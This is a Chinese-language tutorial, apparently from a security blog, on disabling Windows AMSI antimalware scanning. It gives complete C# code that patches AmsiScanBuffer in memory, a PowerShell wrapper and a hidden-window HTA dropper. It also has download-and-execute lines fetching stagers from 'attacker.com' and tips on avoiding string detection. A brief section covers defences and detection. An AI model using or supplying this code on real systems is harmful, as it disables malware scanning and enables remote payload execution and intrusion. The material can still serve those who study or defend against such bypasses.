How To Bypass AMSI (二)
字数 1344 2025-08-27 12:33:49
AMSI Bypass 技术深入解析与实战指南
1. AMSI 简介与基本原理
AMSI (Antimalware Scan Interface) 是微软提供的一套反恶意软件扫描接口,允许应用程序和服务集成反恶意软件产品。它主要作用于:
- PowerShell 脚本执行前扫描
- VBScript/JScript 执行前扫描
- Office 宏执行前扫描
- Windows 脚本宿主(WSH)执行前扫描
AMSI 的核心函数是 AmsiScanBuffer,其函数原型为:
HRESULT AmsiScanBuffer(
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result
);
2. AMSI Bypass 核心思路
2.1 内存 Patch 技术
通过修改 amsi.dll 在内存中的代码来实现绕过:
- 加载
amsi.dll到当前进程 - 获取
AmsiScanBuffer函数地址 - 修改内存保护属性为可写
- 用特定字节覆盖原函数代码
2.2 两种主要 Patch 方法
方法一:修改函数中间指令(旧方法)
Byte[] Patch = { 0x31, 0xff, 0x90 }; // xor edi,edi + nop
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
MoveMemory(ASBPtr + 0x001b, unmanagedPointer, 3);
方法二:修改函数开头指令(更稳定方法)
Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax,0x80070057 + ret
IntPtr unmanagedPointer = Marshal.AllocHGlobal(6);
Marshal.Copy(Patch, 0, unmanagedPointer, 6);
MoveMemory(ASBPtr, unmanagedPointer, 6);
3. 完整 C# 实现代码
using System;
using System.Runtime.InteropServices;
namespace Bypass
{
public class AMSI
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
static extern void MoveMemory(IntPtr dest, IntPtr src, int size);
public static int Disable()
{
IntPtr TargetDLL = LoadLibrary("amsi.dll");
if (TargetDLL == IntPtr.Zero) {
return 1;
}
IntPtr ASBPtr = GetProcAddress(TargetDLL, "Amsi" + "Scan" + "Buffer");
if (ASBPtr == IntPtr.Zero) {
return 1;
}
UIntPtr dwSize = (UIntPtr)5;
uint Zero = 0;
if (!VirtualProtect(ASBPtr, dwSize, 0x40, out Zero)) {
return 1;
}
// 方法一:修改函数中间指令
// Byte[] Patch = { 0x31, 0xff, 0x90 };
// IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
// Marshal.Copy(Patch, 0, unmanagedPointer, 3);
// MoveMemory(ASBPtr + 0x001b, unmanagedPointer, 3);
// 方法二:修改函数开头指令(推荐)
Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(6);
Marshal.Copy(Patch, 0, unmanagedPointer, 6);
MoveMemory(ASBPtr, unmanagedPointer, 6);
return 0;
}
}
}
4. PowerShell 集成方法
将上述 C# 代码嵌入 PowerShell 脚本:
$Ref = ("System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"System.Runtime.InteropServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a")
$Source = @"
[上面C#代码]
"@
Add-Type -ReferencedAssemblies $Ref -TypeDefinition $Source -Language CSharp
# 执行Bypass并检查结果
if([Bypass.AMSI]::Disable() -eq "0") {
# 执行后续payload
iex ((new-object net.webclient).downloadstring("http://attacker.com/stager"))
}
5. HTA 文件投递方法
将 PowerShell 脚本 Base64 编码后嵌入 HTA 文件:
<script language="VBScript">
Function var_func()
Dim var_shell
Set var_shell = CreateObject("Wscript.Shell")
var_shell.run "powershell.exe -nop -w 1 -enc [Base64编码的PowerShell脚本]", 0, true
End Function
var_func
self.close
</script>
生成 Base64 编码的 PowerShell 脚本:
$string = 'iex ((new-object net.webclient).downloadstring("http://attacker.com/amsi-bypass")); if([Bypass.AMSI]::Disable() -eq "0") { iex ((new-object net.webclient).downloadstring("http://attacker.com/stager")) }'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($string))
6. 常见问题与解决方案
6.1 子进程问题
现象:AMSI 已禁用但 stager 仍无法执行,出现子 PowerShell 进程被终止。
原因:32位/64位进程不匹配。例如:
- 父进程:64位 (
C:\Windows\System32\...) - 子进程:32位 (
C:\Windows\SysWOW64\...)
解决方案:
- 确保 payload 与目标进程架构匹配
- 使用 64 位 stager 针对 64 位系统
6.2 进程崩溃问题
现象:32位进程中执行 Bypass 时崩溃。
原因:旧版 Patch 方法在 32 位环境中不稳定。
解决方案:
- 使用修改函数开头的 Patch 方法(方法二)
- 确保 Patch 长度和位置正确
7. 防御措施与检测方法
7.1 防御措施
- 启用 PowerShell 日志记录(脚本块日志)
- 限制 PowerShell 执行策略
- 监控
amsi.dll的内存修改行为 - 使用受保护的进程轻量级 (PPL) 技术
7.2 检测方法
- 监控
VirtualProtect调用针对amsi.dll内存区域 - 检测
AmsiScanBuffer函数被修改的行为 - 分析 PowerShell 进程中的异常内存操作
8. 总结与最佳实践
- Patch 方法选择:优先使用修改函数开头的稳定方法
- 架构匹配:确保 payload 与目标进程架构一致
- 分阶段执行:先 Bypass AMSI,再加载实际 payload
- 隐蔽性:使用编码技术避免字符串检测
- 环境测试:在不同 Windows 版本和架构上测试 Bypass 效果
通过深入理解 AMSI 工作原理和这些 Bypass 技术,安全研究人员可以更好地测试和改进系统防御措施,而防御者则可以更有效地检测和阻止此类攻击。